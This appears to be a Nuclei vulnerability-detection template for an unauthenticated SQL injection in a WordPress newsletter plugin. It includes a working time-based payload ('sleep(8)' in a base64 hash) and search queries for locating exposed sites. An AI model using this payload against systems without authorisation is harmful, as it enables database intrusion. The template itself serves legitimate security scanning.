id: CVE-2024-4295 info: name: Email Subscribers by Icegram Express <= 5.7.20 - Unauthenticated SQL Injection via Hash author: iamnoooob,rootxharsh,pdresearch severity: critical description: | Email Subscribers by Icegram Express <= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter. remediation: Fixed in 5.7.21 impact: This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/641123af-1ec6-4549-a58c-0a08b4678f45?source=cve - https://github.com/cve-2024/CVE-2024-4295-Poc - https://github.com/truonghuuphuc/CVE-2024-4295-Poc - https://nvd.nist.gov/vuln/detail/CVE-2024-4295 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-4295 cwe-id: CWE-89 epss-score: 0.92923 epss-percentile: 0.9978 cpe: cpe:2.3:a:icegram:email_subscribers_\&_newsletters:*:*:*:*:*:wordpress:*:* metadata: vendor: icegram product: email_subscribers_\&_newsletters framework: wordpress verified: true max-request: 1 publicwww-query: "/wp-content/plugins/email-subscribers/" fofa-query: body="/wp-content/plugins/email-subscribers/" tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wp,email-subscribers,sqli,vkev,vuln flow: http(1) && http(2) variables: contact_id: "{{contact_id}}" email: "{{email}}" rawhash: '{"message_id":0,"campaign_id":0,"contact_id":"{{contact_id}}","email":"{{email}}","guid":"dibwol-qaiebd-qvrgkp-lhyopm-rmyfzo","list_ids":["sleep(8)"],"action":"subscribe"}' http: - method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/wp-content/plugins/email-subscribers/readme.txt" stop-at-first-match: true host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'contains_any(body, "email-subscribers-", "Email Subscribers by Icegram Express")' internal: true - raw: - | @timeout: 20s GET /?es=optin&hash={{ base64(rawhash) }} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration>=8' - 'contains(body, "You have been successfully subscribed")' condition: and # digest: 490a004630440220113379e79452bd1afc4511bddbd5bd7c6d15bbd32b79e6f3b7871c98c637f94402205b045cfc3d59f6be2b68f2116cbde3dacbb0c07cd1249d5a8b9f47942f58723d:922c64590222798bb761d5b6d8e72950